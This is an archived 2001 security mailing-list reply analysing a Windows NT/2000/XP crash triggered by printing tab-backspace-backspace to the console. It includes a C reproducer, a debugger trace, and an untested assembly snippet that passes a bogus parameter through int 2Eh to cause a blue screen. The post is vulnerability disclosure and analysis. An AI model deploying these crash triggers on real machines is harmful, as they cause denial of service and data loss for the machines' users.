Re: W2k/XP hangs with "TAB BS BS" on console

From: Armin Gerritsen (armin.gerritsen@PHILIPS.COM)
Date: 10/29/01

Message-ID:  <010001c16090$d3c90bd0$>
Date:         Mon, 29 Oct 2001 16:46:07 +0100
From: Armin Gerritsen <armin.gerritsen@PHILIPS.COM>
Subject:      Re: W2k/XP hangs with "TAB BS BS" on console

>> Windows 2000 or XP CRASHES OR REBOOTS when the following code (complied
>> either on MS Visual C++ or Borland C++; perhaps on any DOS or Win32-
>> console compiler) was executed:
>> #include <stdio.h>
>> int main(void)
>> {
>> printf("\t\b\b");
>> return 0;
>> }

Isn't this a very old already known problem dating back to NT?

I mean, if you hook up a debugger you'll get:

NTDLL! 77f82242()
NTDLL! 77f82250()
KERNEL32! 77e86878()
KERNEL32! 77e868d1()
_write(int 1, const void * 0x002f25f8, unsigned int 7) line 168 + 57 bytes
_flush(_iobuf * 0x00424a60) line 162 + 23 bytes
_ftbuf(int 1, _iobuf * 0x00424a60) line 171 + 9 bytes
printf(const char * 0x0042201c `string') line 62 + 14 bytes
main() line 46 + 10 bytes
mainCRTStartup() line 206 + 25 bytes
KERNEL32! 77e97d08()

EAX = 000000B0 EBX = 00000000
ECX = 0094007C EDX = 00000007
ESI = 0012F954 EDI = 00000000
EIP = 77F82247 ESP = 0012F910
EBP = 0012F92C EFL = 00000246

Now, the 'bad things' happen in NTDLL! 77f82242().
With a manual load of NTDLL.DLL and the API call GetProcAddress, we'll find
out that NtRequestWaitReplyPort is the cause.

Now in this function we can see if we disassemble that 'int 2Eh' is called,
and that's the reason of the BSOD:

"At Ring 0, the INT 2Eh handler is called _KiSystemService, which is located
in NTOSKRNL.EXE. _KiSystemService takes the dispatch number (placed in EAX>
by NTDLL.DLL) and uses it as an index into a dispatch table that each thread
has a pointer to. Just before jumping to the designated handling code,
_KiSystemService copies the parameters from the Ring 3 stack which EDX
points to) onto the Ring 0 stack. "

Now in more simpler English this means a syscall is being done by int 2Eh by
putting in EAX the number of the handler and in EDX the stack frame.

Now, let us put a 'bogus' entry in EDX, and it depends on the quality of the
syscall (whether it does checks on whether the parameter is valid), what
happens. Many system calls don't do proper checking, so there are many
variations in creating a BSOD ...

So it is probably easy to just do something as:

xor eax,eax
mov edx,-1
int 2Eh

to create a BSOD ...
(Not checked, since I don't want to crash my system, but the this is just to
show the idea of the problem.)

Main problem is that a level 3 process can pass params to a level 0 process,
which are not going to be checked correctly in all situations.

NT has this problem in all service packs, Windows 2000 has it and XP seems
to have it too.
It has been reported by many people many times, but MS doesn't seem to be
interested in fixing it ... ;-(



Philips Semiconductors B.V.
Systems Laboratory Eindhoven (PS-SLE)

Building BE235, Hurksestraat 19, P.O.Box 218, 5600MD Eindhoven, The Netherlands E-mail:

============================================================================ Delivery co-sponsored by Trend Micro, Inc. ============================================================================ BEST-OF-BREED ANTIVIRUS SOLUTION FOR MICROSOFT EXCHANGE 2000 Earn 5% rebate on licenses purchased for Trend Micro ScanMail for Microsoft Exchange 2000 between October 1 and November 16. ScanMail ensures 100% scanning of inbound and outbound traffic and provides remote software management. For program details or to download your 30-day FREE evaluation copy: